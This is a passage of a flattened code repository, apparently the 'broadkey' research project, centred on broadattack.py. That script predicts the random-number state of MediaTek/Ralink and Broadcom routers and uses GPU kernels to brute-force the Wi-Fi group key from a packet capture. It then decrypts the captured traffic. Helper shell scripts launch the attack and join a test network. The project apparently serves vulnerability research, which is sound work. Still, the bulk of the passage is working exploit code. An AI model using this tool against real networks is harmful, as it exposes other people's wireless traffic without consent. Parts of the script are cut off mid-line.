capname 62 | 63 | 64 | if __name__ == "__main__": 65 | main() 66 | 67 | -------------------------------------------------------------------------------- /scripts/3_bruteforce.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | optirun ./broadattack.py mediatek example-capture/capture.pcap 3 | -------------------------------------------------------------------------------- /scripts/broadattack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | import sys, os, math, time, struct 3 | 4 | import logging 5 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 6 | from scapy.all import * 7 | 8 | if 'build' not in sys.path: 9 | builddir = os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), '../build')) 10 | sys.path.append(builddir) 11 | 12 | import broadkey 13 | 14 | # ----------------------------------------- Utility Functions ----------------------------------------- 15 | 16 | def get_opencl_path(): 17 | path = os.path.dirname(os.path.realpath(__file__)) 18 | return os.path.join(path, "../broadkey/opencl/") 19 | 20 | def open_cl(fname, attributes): 21 | path = os.path.dirname(os.path.realpath(__file__)) 22 | return open(os.path.join(get_opencl_path(), fname), attributes) 23 | 24 | def macaddr2str(macaddr): 25 | return ':'.join('%02X' % ord(byte) for byte in macaddr) 26 | def list2hex(l): 27 | return [hex(b) for b in l] 28 | def list2buf(l, little=False): 29 | buf = "" 30 | for b in l: 31 | buf += struct.pack("I", b) 32 | return buf 33 | def buf2str(buf): 34 | string = "" 35 | for b in buf: 36 | string += "\\x%02x" % ord(b) 37 | return string 38 | 39 | def test_crypto(): 40 | broadkey.rl_test_crypto() 41 | 42 | def test_gpu_aes(): 43 | import pyopencl as cl 44 | import numpy 45 | 46 | # Prepare context and command queue 47 | ctx = cl.create_some_context(interactive=False) 48 | queue = cl.CommandQueue(ctx) 49 | 50 | print "Compiling kernel ..." 51 | with open_cl("ralink.cl", "r") as fp: 52 | code = fp.read() % { 'STARTTIME': 0, 'MACADDR1': 0, 'MACADDR2': 0, 53 | 'NONCE1': 0, 'NONCE2': 0, 'NONCE3': 0, 'NONCE4': 0, 54 | 'KEYSTREAM1': 0, 'KEYSTREAM2': 0,} 55 | program = cl.Program(ctx, code).build(options="-I %s" % get_opencl_path()) 56 | 57 | # Prepare memory 58 | result = numpy.zeros(shape=(8), dtype=numpy.uint32) 59 | result[0] = 0xffffffff; 60 | result[1] = 0xffffffff; 61 | dest_buf = cl.Buffer(ctx, cl.mem_flags.WRITE_ONLY| cl.mem_flags.COPY_HOST_PTR, hostbuf=result) 62 | 63 | # Run the program 64 | print "Running kernel ..." 65 | program.test_aes(queue, (1,), None, dest_buf) 66 | 67 | # Read the result 68 | cl.enqueue_read_buffer(queue, dest_buf, result).wait() 69 | print list2hex(result) 70 | assert result[0] == 0xD4E415CB 71 | assert result[1] == 0xD038A82B 72 | assert result[2] == 0x10A673DE 73 | assert result[3] == 0xEA25B206 74 | 75 | 76 | # ---------------------------------- Capture Traffic & Search GTK -------------------------------------- 77 | 78 | def has_key(gmks, expectedgmk): 79 | parsed = struct.unpack(">IIIIIIII", expectedgmk) 80 | for gmk in gmks: 81 | if all(gmk == parsed): 82 | return True 83 | return False 84 | 85 | def predict_gtk_jiffies(startJiffies, tsf): 86 | INTERVAL_JIFFIES = 900261 87 | 88 | # Calculate uptime in seconds and hours 89 | uptimesec = tsf / 1e6 90 | uptimehrs = int(math.floor(uptimesec / 3600)) 91 | 92 | # Every hour a new gnonce is generated 93 | prediction = (startJiffies + uptimehrs * INTERVAL_JIFFIES) % 2**32 94 | return prediction 95 | 96 | def ralink_gpu_search(bssid, nonce, keystream, gmkJiffies, gtkJiffies): 97 | KEYSTREAM_WORDS = 100 * 4 98 | # FIXME: Set this parameter dynamically based on uptime of router (longer uptime 99 | # means bigger range has to be checked. 100 | JIFFIES_RANGE = 45000 101 | import pyopencl as cl 102 | import numpy 103 | 104 | # Generate all 32 keys for *each* initial jiffy value 105 | print "[+] Generating GMK list on CPU ..." 106 | gmks = broadkey.rl_generate_keys(bssid, gmkJiffies, 10) 107 | 108 | # Prepare context and command queue 109 | ctx = cl.create_some_context(interactive=False) 110 | queue = cl.CommandQueue(ctx) 111 | 112 | print "[+] Reading and compiling GPU kernel ..." 113 | with open_cl("ralink.cl", "r") as fp: 114 | macaddr1, macaddr2 = struct.unpack(">II", bssid + "\x00\x00") 115 | n1, n2, n3, n4 = struct.unpack("= len(ssidlist): 177 | print "Index outside bounds" 178 | return 179 | print "" 180 | except ValueError: 181 | print "You did not enter a value number" 182 | return 183 | 184 | # 3. Extract hash for the selected SSIDs 185 | ssid, bssid = ssidlist[index] 186 | tsf, enctype, nonce, keystream, packet = broadkey.rl_extract_hash(fname, bssid) 187 | 188 | # 4. Predict the jiffies that were used 189 | gmkJiffies = 4294894407 if enctype == 1 else 4294894229 # Jiffies are different depending on AES or TKIP cipher 190 | gtkJiffies = predict_gtk_jiffies(gmkJiffies + 20, tsf) 191 | print "[ ] Predicted jiffies GMK : ~%d" % gmkJiffies 192 | print "[ ] Predicted jiffies GNONCE: ~%d" % gtkJiffies 193 | 194 | # 5. Brutefoce GTK based on the hash 195 | start = time.time() 196 | gtk, keystream = ralink_gpu_search(bssid, nonce, keystream, gmkJiffies, gtkJiffies) 197 | end = time.time() 198 | if gtk is None: 199 | print "[-] Failed to find GTK" 200 | else: 201 | gtkbuf = buf2str(list2buf(gtk)) 202 | print "[+] Found GTK:", gtkbuf, "\n" 203 | 204 | # Decrypt and print captured packet 205 | decrypted = packet[:32] 206 | for pt, kt in zip(packet[32:], keystream): 207 | decrypted += chr(ord(pt) ^ ord(kt)) 208 | broadkey.dump_packet(decrypted) 209 | 210 | wrpcap("decrypted.pcap", [Dot11(type=2, subtype=0)/Raw(decrypted[32:])]) 211 | print "[+] Wrote decrypted packet to decrypted.pcap" 212 | 213 | print "\nExecution time:", end - start, "seconds" 214 | 215 | 216 | # ---------------------------------------- Broadcom ---------------------------------------------- 217 | 218 | def bcom_test(): 219 | broadkey.bcom_test_crypto() 220 | 221 | def increase_gnonce(gnonce): 222 | i = len(gnonce) - 1 223 | gnonce[i] += 1 224 | while gnonce[i] == 0x100 and i >= 0: 225 | gnonce[i] = 0 226 | i -= 1 227 | gnonce[i] += 1 228 | 229 | def macaddr_gnonce_data(macaddr, gnonce): 230 | """Return binary encoding of `macaddr || GNONCE` in groups of 32-bit words""" 231 | data = macaddr + "".join([chr(byte) for byte in gnonce]) + "\x00\x00" 232 | return ", ".join(list2hex(struct.unpack(">" + "I" * 10, data))) 233 | 234 | 235 | def bcom_hash(): 236 | """ 237 | Simulate an attack against Broadcom random number generator, to estimate the time 238 | needed to break their RNG in practice. 239 | """ 240 | import pyopencl as cl 241 | import numpy 242 | 243 | gmk_secs = 0x5738C418 244 | gmk_usecs = 0x0007625E 245 | keystream1 = 0x6bfa4c68 246 | keystream2 = 0xcf1876c3L 247 | 248 | # Search space parameters 249 | num_gnonces = 8 # Number of gnonce to check (= how many times key_counter was incremented after being used as gnonce) 250 | time_range = 10000 # 500000 # Number of microseconds to search around the guessed boot-up time (to determine the GTK). 251 | # We have to link the time in beacons to the boot-up time, may be tedious. And we have to take 252 | # into account any skew on the timer in the beacons that throw this prediction off. 253 | macaddr = "\x01\x02\x03\x04\x05\x06" 254 | gnonce = range(32) 255 | 256 | # Prepare context and command queue 257 | ctx = cl.create_some_context(interactive=False) 258 | queue = cl.CommandQueue(ctx) 259 | 260 | # Prepare memory 261 | result = numpy.zeros(shape=(16), dtype=numpy.uint32) 262 | result[0] = 0xffffffff; 263 | result[1] = 0xffffffff; 264 | dest_buf = cl.Buffer(ctx, cl.mem_flags.WRITE_ONLY| cl.mem_flags.COPY_HOST_PTR, hostbuf=result) 265 | 266 | # Prepare code 267 | with open_cl("broadcom.cl", "r") as fp: 268 | template = fp.read() 269 | 270 | for gnonce_offset in range(num_gnonces): 271 | # Read and compile the program 272 | print "[ ] Compiling program ..." 273 | code = template % { 274 | 'DATA': macaddr_gnonce_data(macaddr, gnonce), 275 | 'SECONDS': gmk_secs, 276 | 'MICROSECONDS': gmk_usecs, 277 | 'NONCE1': 0x2C380001, 278 | 'NONCE2': 0xBC69C14A, 279 | 'NONCE3': 0x00000000, 280 | 'NONCE4': 0x0100B800, 281 | 'KEYSTREAM1': keystream1, 282 | 'KEYSTREAM2': keystream2 283 | } 284 | program = cl.Program(ctx, code).build(options="-I %s" % get_opencl_path()) 285 | 286 | # 500000 with 2ms next call takes about 30 seconds. This is an initial cost, and using 287 | # more higher end (desktop) GPUs this would also be significantly faster. 288 | print " Running program ..." 289 | program.search_gtk(queue, (time_range,), None, dest_buf) 290 | 291 | # Read the result and check if the key was found 292 | cl.enqueue_read_buffer(queue, dest_buf, result).wait() 293 | if result[0] != 0xffffffff and result[1] != 0xffffffff: 294 | break 295 | 296 | increase_gnonce(gnonce) 297 | 298 | print list2hex(result) 299 | 300 | 301 | # ---------------------------------------- Main ---------------------------------------------- 302 | 303 | def main(): 304 | if len(sys.argv) <= 1: 305 | print "Usage:", sys.argv[0], "test|ralink|broadcom" 306 | quit(1) 307 | 308 | if sys.argv[1] == "test": 309 | test_crypto() 310 | test_gpu_aes() 311 | print "All tests completed" 312 | elif sys.argv[1] == "mediatek": 313 | if len(sys.argv) <= 2: 314 | print "Usage:", sys.argv[0], "ralink capture-file.pcap" 315 | quit() 316 | ralink_broadkey_prediction(sys.argv[2]) 317 | elif sys.argv[1] == "broadcom": 318 | bcom_test() 319 | bcom_hash() 320 | else: 321 | print "Unknown command", sys.argv[1] 322 | quit() 323 | 324 | 325 | if __name__ == "__main__": 326 | main() 327 | 328 | -------------------------------------------------------------------------------- /scripts/debug-attack/arping.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | arping -b -I wlp5s0 192.168.2.173 3 | -------------------------------------------------------------------------------- /scripts/debug-attack/connect.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | rfkill unblock wifi 3 | wpa_supplicant -d -K -D nl80211 -i wlp5s0 -c testnetwerk.conf 4 | -------------------------------------------------------------------------------- /scripts/debug-attack/get_ip.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | dhclient wlp5s0 3 | -------------------------------------------------------------------------------- /scripts/debug-attack/testnetwerk.conf: -------------------------------------------------------------------------------- 1 | network={ 2 | ssid="testnetwork" 3 | #psk="testpassword" 4 | psk=ed5b87ba31bf9d6611576f94c57e848696005ea2d5743baab976a48ed11d1b2a 5 | } 6 | -------------------------------------------------------------------------------- /scripts/example-capture/capture.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vanhoefm/broadkey/8738f387e41fce4de20ed325cc1d599df9363eaf/scripts/example-capture/capture.pcap -------------------------------------------------------------------------------- /scripts/example-capture/decrypted_packet.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vanhoefm/broadkey/8738f387e41fce4de20ed325cc1d599df9363eaf/scripts/example-capture/decrypted_packet.pcap -------------------------------------------------------------------------------- /shared/crc.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "crc.h" 6 | 7 | 8 | const uint32_t crc_tbl[256] = 9 | { 10 | 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, 11 | 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, 12 | 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 13 | 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, 14 | 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, 15 | 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 16 | 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, 17 | 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 18 | 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, 19 | 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, 20 | 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 21 | 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, 22 | 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, 23 | 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, 24 | 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, 25 | 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, 26 | 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, 27 | 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, 28 | 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, 29 | 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, 30 | 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, 31 | 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, 32 | 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 33 | 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, 34 | 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, 35 | 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 36 | 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, 37 | 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, 38 | 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, 39 | 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, 40 | 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, 41 | 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D 42 | }; 43 | 44 | const uint8_t crc_chop_tbl[256][4] = 45 | { 46 | { 0x26,0x70,0x6A,0x0F }, { 0x67,0x76,0x1B,0xD4 }, { 0xE5,0x7A,0xF9,0x62 }, { 0xA4,0x7C,0x88,0xB9 }, 47 | { 0xA0,0x65,0x4C,0xD4 }, { 0xE1,0x63,0x3D,0x0F }, { 0x63,0x6F,0xDF,0xB9 }, { 0x22,0x69,0xAE,0x62 }, 48 | { 0x6B,0x5D,0x57,0x62 }, { 0x2A,0x5B,0x26,0xB9 }, { 0xA8,0x57,0xC4,0x0F }, { 0xE9,0x51,0xB5,0xD4 }, 49 | { 0xED,0x48,0x71,0xB9 }, { 0xAC,0x4E,0x00,0x62 }, { 0x2E,0x42,0xE2,0xD4 }, { 0x6F,0x44,0x93,0x0F }, 50 | { 0xBC,0x2A,0x10,0xD5 }, { 0xFD,0x2C,0x61,0x0E }, { 0x7F,0x20,0x83,0xB8 }, { 0x3E,0x26,0xF2,0x63 }, 51 | { 0x3A,0x3F,0x36,0x0E }, { 0x7B,0x39,0x47,0xD5 }, { 0xF9,0x35,0xA5,0x63 }, { 0xB8,0x33,0xD4,0xB8 }, 52 | { 0xF1,0x07,0x2D,0xB8 }, { 0xB0,0x01,0x5C,0x63 }, { 0x32,0x0D,0xBE,0xD5 }, { 0x73,0x0B,0xCF,0x0E }, 53 | { 0x77,0x12,0x0B,0x63 }, { 0x36,0x14,0x7A,0xB8 }, { 0xB4,0x18,0x98,0x0E }, { 0xF5,0x1E,0xE9,0xD5 }, 54 | { 0x53,0xC3,0xEF,0x60 }, { 0x12,0xC5,0x9E,0xBB }, { 0x90,0xC9,0x7C,0x0D }, { 0xD1,0xCF,0x0D,0xD6 }, 55 | { 0xD5,0xD6,0xC9,0xBB }, { 0x94,0xD0,0xB8,0x60 }, { 0x16,0xDC,0x5A,0xD6 }, { 0x57,0xDA,0x2B,0x0D }, 56 | { 0x1E,0xEE,0xD2,0x0D }, { 0x5F,0xE8,0xA3,0xD6 }, { 0xDD,0xE4,0x41,0x60 }, { 0x9C,0xE2,0x30,0xBB }, 57 | { 0x98,0xFB,0xF4,0xD6 }, { 0xD9,0xFD,0x85,0x0D }, { 0x5B,0xF1,0x67,0xBB }, { 0x1A,0xF7,0x16,0x60 }, 58 | { 0xC9,0x99,0x95,0xBA }, { 0x88,0x9F,0xE4,0x61 }, { 0x0A,0x93,0x06,0xD7 }, { 0x4B,0x95,0x77,0x0C }, 59 | { 0x4F,0x8C,0xB3,0x61 }, { 0x0E,0x8A,0xC2,0xBA }, { 0x8C,0x86,0x20,0x0C }, { 0xCD,0x80,0x51,0xD7 }, 60 | { 0x84,0xB4,0xA8,0xD7 }, { 0xC5,0xB2,0xD9,0x0C }, { 0x47,0xBE,0x3B,0xBA }, { 0x06,0xB8,0x4A,0x61 }, 61 | { 0x02,0xA1,0x8E,0x0C }, { 0x43,0xA7,0xFF,0xD7 }, { 0xC1,0xAB,0x1D,0x61 }, { 0x80,0xAD,0x6C,0xBA }, 62 | { 0xCC,0x16,0x61,0xD0 }, { 0x8D,0x10,0x10,0x0B }, { 0x0F,0x1C,0xF2,0xBD }, { 0x4E,0x1A,0x83,0x66 }, 63 | { 0x4A,0x03,0x47,0x0B }, { 0x0B,0x05,0x36,0xD0 }, { 0x89,0x09,0xD4,0x66 }, { 0xC8,0x0F,0xA5,0xBD }, 64 | { 0x81,0x3B,0x5C,0xBD }, { 0xC0,0x3D,0x2D,0x66 }, { 0x42,0x31,0xCF,0xD0 }, { 0x03,0x37,0xBE,0x0B }, 65 | { 0x07,0x2E,0x7A,0x66 }, { 0x46,0x28,0x0B,0xBD }, { 0xC4,0x24,0xE9,0x0B }, { 0x85,0x22,0x98,0xD0 }, 66 | { 0x56,0x4C,0x1B,0x0A }, { 0x17,0x4A,0x6A,0xD1 }, { 0x95,0x46,0x88,0x67 }, { 0xD4,0x40,0xF9,0xBC }, 67 | { 0xD0,0x59,0x3D,0xD1 }, { 0x91,0x5F,0x4C,0x0A }, { 0x13,0x53,0xAE,0xBC }, { 0x52,0x55,0xDF,0x67 }, 68 | { 0x1B,0x61,0x26,0x67 }, { 0x5A,0x67,0x57,0xBC }, { 0xD8,0x6B,0xB5,0x0A }, { 0x99,0x6D,0xC4,0xD1 }, 69 | { 0x9D,0x74,0x00,0xBC }, { 0xDC,0x72,0x71,0x67 }, { 0x5E,0x7E,0x93,0xD1 }, { 0x1F,0x78,0xE2,0x0A }, 70 | { 0xB9,0xA5,0xE4,0xBF }, { 0xF8,0xA3,0x95,0x64 }, { 0x7A,0xAF,0x77,0xD2 }, { 0x3B,0xA9,0x06,0x09 }, 71 | { 0x3F,0xB0,0xC2,0x64 }, { 0x7E,0xB6,0xB3,0xBF }, { 0xFC,0xBA,0x51,0x09 }, { 0xBD,0xBC,0x20,0xD2 }, 72 | { 0xF4,0x88,0xD9,0xD2 }, { 0xB5,0x8E,0xA8,0x09 }, { 0x37,0x82,0x4A,0xBF }, { 0x76,0x84,0x3B,0x64 }, 73 | { 0x72,0x9D,0xFF,0x09 }, { 0x33,0x9B,0x8E,0xD2 }, { 0xB1,0x97,0x6C,0x64 }, { 0xF0,0x91,0x1D,0xBF }, 74 | { 0x23,0xFF,0x9E,0x65 }, { 0x62,0xF9,0xEF,0xBE }, { 0xE0,0xF5,0x0D,0x08 }, { 0xA1,0xF3,0x7C,0xD3 }, 75 | { 0xA5,0xEA,0xB8,0xBE }, { 0xE4,0xEC,0xC9,0x65 }, { 0x66,0xE0,0x2B,0xD3 }, { 0x27,0xE6,0x5A,0x08 }, 76 | { 0x6E,0xD2,0xA3,0x08 }, { 0x2F,0xD4,0xD2,0xD3 }, { 0xAD,0xD8,0x30,0x65 }, { 0xEC,0xDE,0x41,0xBE }, 77 | { 0xE8,0xC7,0x85,0xD3 }, { 0xA9,0xC1,0xF4,0x08 }, { 0x2B,0xCD,0x16,0xBE }, { 0x6A,0xCB,0x67,0x65 }, 78 | { 0xB3,0xBB,0x0D,0x6A }, { 0xF2,0xBD,0x7C,0xB1 }, { 0x70,0xB1,0x9E,0x07 }, { 0x31,0xB7,0xEF,0xDC }, 79 | { 0x35,0xAE,0x2B,0xB1 }, { 0x74,0xA8,0x5A,0x6A }, { 0xF6,0xA4,0xB8,0xDC }, { 0xB7,0xA2,0xC9,0x07 }, 80 | { 0xFE,0x96,0x30,0x07 }, { 0xBF,0x90,0x41,0xDC }, { 0x3D,0x9C,0xA3,0x6A }, { 0x7C,0x9A,0xD2,0xB1 }, 81 | { 0x78,0x83,0x16,0xDC }, { 0x39,0x85,0x67,0x07 }, { 0xBB,0x89,0x85,0xB1 }, { 0xFA,0x8F,0xF4,0x6A }, 82 | { 0x29,0xE1,0x77,0xB0 }, { 0x68,0xE7,0x06,0x6B }, { 0xEA,0xEB,0xE4,0xDD }, { 0xAB,0xED,0x95,0x06 }, 83 | { 0xAF,0xF4,0x51,0x6B }, { 0xEE,0xF2,0x20,0xB0 }, { 0x6C,0xFE,0xC2,0x06 }, { 0x2D,0xF8,0xB3,0xDD }, 84 | { 0x64,0xCC,0x4A,0xDD }, { 0x25,0xCA,0x3B,0x06 }, { 0xA7,0xC6,0xD9,0xB0 }, { 0xE6,0xC0,0xA8,0x6B }, 85 | { 0xE2,0xD9,0x6C,0x06 }, { 0xA3,0xDF,0x1D,0xDD }, { 0x21,0xD3,0xFF,0x6B }, { 0x60,0xD5,0x8E,0xB0 }, 86 | { 0xC6,0x08,0x88,0x05 }, { 0x87,0x0E,0xF9,0xDE }, { 0x05,0x02,0x1B,0x68 }, { 0x44,0x04,0x6A,0xB3 }, 87 | { 0x40,0x1D,0xAE,0xDE }, { 0x01,0x1B,0xDF,0x05 }, { 0x83,0x17,0x3D,0xB3 }, { 0xC2,0x11,0x4C,0x68 }, 88 | { 0x8B,0x25,0xB5,0x68 }, { 0xCA,0x23,0xC4,0xB3 }, { 0x48,0x2F,0x26,0x05 }, { 0x09,0x29,0x57,0xDE }, 89 | { 0x0D,0x30,0x93,0xB3 }, { 0x4C,0x36,0xE2,0x68 }, { 0xCE,0x3A,0x00,0xDE }, { 0x8F,0x3C,0x71,0x05 }, 90 | { 0x5C,0x52,0xF2,0xDF }, { 0x1D,0x54,0x83,0x04 }, { 0x9F,0x58,0x61,0xB2 }, { 0xDE,0x5E,0x10,0x69 }, 91 | { 0xDA,0x47,0xD4,0x04 }, { 0x9B,0x41,0xA5,0xDF }, { 0x19,0x4D,0x47,0x69 }, { 0x58,0x4B,0x36,0xB2 }, 92 | { 0x11,0x7F,0xCF,0xB2 }, { 0x50,0x79,0xBE,0x69 }, { 0xD2,0x75,0x5C,0xDF }, { 0x93,0x73,0x2D,0x04 }, 93 | { 0x97,0x6A,0xE9,0x69 }, { 0xD6,0x6C,0x98,0xB2 }, { 0x54,0x60,0x7A,0x04 }, { 0x15,0x66,0x0B,0xDF }, 94 | { 0x59,0xDD,0x06,0xB5 }, { 0x18,0xDB,0x77,0x6E }, { 0x9A,0xD7,0x95,0xD8 }, { 0xDB,0xD1,0xE4,0x03 }, 95 | { 0xDF,0xC8,0x20,0x6E }, { 0x9E,0xCE,0x51,0xB5 }, { 0x1C,0xC2,0xB3,0x03 }, { 0x5D,0xC4,0xC2,0xD8 }, 96 | { 0x14,0xF0,0x3B,0xD8 }, { 0x55,0xF6,0x4A,0x03 }, { 0xD7,0xFA,0xA8,0xB5 }, { 0x96,0xFC,0xD9,0x6E }, 97 | { 0x92,0xE5,0x1D,0x03 }, { 0xD3,0xE3,0x6C,0xD8 }, { 0x51,0xEF,0x8E,0x6E }, { 0x10,0xE9,0xFF,0xB5 }, 98 | { 0xC3,0x87,0x7C,0x6F }, { 0x82,0x81,0x0D,0xB4 }, { 0x00,0x8D,0xEF,0x02 }, { 0x41,0x8B,0x9E,0xD9 }, 99 | { 0x45,0x92,0x5A,0xB4 }, { 0x04,0x94,0x2B,0x6F }, { 0x86,0x98,0xC9,0xD9 }, { 0xC7,0x9E,0xB8,0x02 }, 100 | { 0x8E,0xAA,0x41,0x02 }, { 0xCF,0xAC,0x30,0xD9 }, { 0x4D,0xA0,0xD2,0x6F }, { 0x0C,0xA6,0xA3,0xB4 }, 101 | { 0x08,0xBF,0x67,0xD9 }, { 0x49,0xB9,0x16,0x02 }, { 0xCB,0xB5,0xF4,0xB4 }, { 0x8A,0xB3,0x85,0x6F }, 102 | { 0x2C,0x6E,0x83,0xDA }, { 0x6D,0x68,0xF2,0x01 }, { 0xEF,0x64,0x10,0xB7 }, { 0xAE,0x62,0x61,0x6C }, 103 | { 0xAA,0x7B,0xA5,0x01 }, { 0xEB,0x7D,0xD4,0xDA }, { 0x69,0x71,0x36,0x6C }, { 0x28,0x77,0x47,0xB7 }, 104 | { 0x61,0x43,0xBE,0xB7 }, { 0x20,0x45,0xCF,0x6C }, { 0xA2,0x49,0x2D,0xDA }, { 0xE3,0x4F,0x5C,0x01 }, 105 | { 0xE7,0x56,0x98,0x6C }, { 0xA6,0x50,0xE9,0xB7 }, { 0x24,0x5C,0x0B,0x01 }, { 0x65,0x5A,0x7A,0xDA }, 106 | { 0xB6,0x34,0xF9,0x00 }, { 0xF7,0x32,0x88,0xDB }, { 0x75,0x3E,0x6A,0x6D }, { 0x34,0x38,0x1B,0xB6 }, 107 | { 0x30,0x21,0xDF,0xDB }, { 0x71,0x27,0xAE,0x00 }, { 0xF3,0x2B,0x4C,0xB6 }, { 0xB2,0x2D,0x3D,0x6D }, 108 | { 0xFB,0x19,0xC4,0x6D }, { 0xBA,0x1F,0xB5,0xB6 }, { 0x38,0x13,0x57,0x00 }, { 0x79,0x15,0x26,0xDB }, 109 | { 0x7D,0x0C,0xE2,0xB6 }, { 0x3C,0x0A,0x93,0x6D }, { 0xBE,0x06,0x71,0xDB }, { 0xFF,0x00,0x00,0x00 } 110 | }; 111 | 112 | 113 | uint32_t calc_crc(void *vbuf, size_t len) 114 | { 115 | uint8_t *buf = (uint8_t*)vbuf; 116 | uint32_t crc = 0xFFFFFFFF; 117 | 118 | for( ; len > 0; len--, buf++) 119 | crc = crc_tbl[(crc ^ *buf) & 0xFF] ^ ( crc >> 8 ); 120 | 121 | return ~crc; 122 | } 123 | 124 | 125 | bool endswith_valid_crc(void *vbuf, size_t len) 126 | { 127 | uint8_t *buf = (uint8_t*)vbuf; 128 | uint32_t crc; 129 | 130 | if (len < 4) { 131 | PySys_WriteStderr("%s: buffer length too small\n", __FUNCTION__); 132 | return false; 133 | } 134 | 135 | crc = calc_crc(buf, len - 4); 136 | buf += len - 4; 137 | return( ( ( crc ) & 0xFF ) == buf[0] && 138 | ( ( crc >> 8 ) & 0xFF ) == buf[1] && 139 | ( ( crc >> 16 ) & 0xFF ) == buf[2] && 140 | ( ( crc >> 24 ) & 0xFF ) == buf[3] ); 141 | } 142 | 143 | 144 | void append_crc(void *vbuf, size_t len) 145 | { 146 | uint8_t *buf = (uint8_t*)vbuf; 147 | uint32_t crc = calc_crc(buf, len); 148 | 149 | buf += len; 150 | buf[0] = (crc ) & 0xFF; 151 | buf[1] = (crc >> 8) & 0xFF; 152 | buf[2] = (crc >> 16) & 0xFF; 153 | buf[3] = (crc >> 24) & 0xFF; 154 | } 155 | 156 | -------------------------------------------------------------------------------- /shared/crc.h: -------------------------------------------------------------------------------- 1 | #ifndef broadkey_crc_h_ 2 | #define broadkey_crc_h_ 3 | 4 | 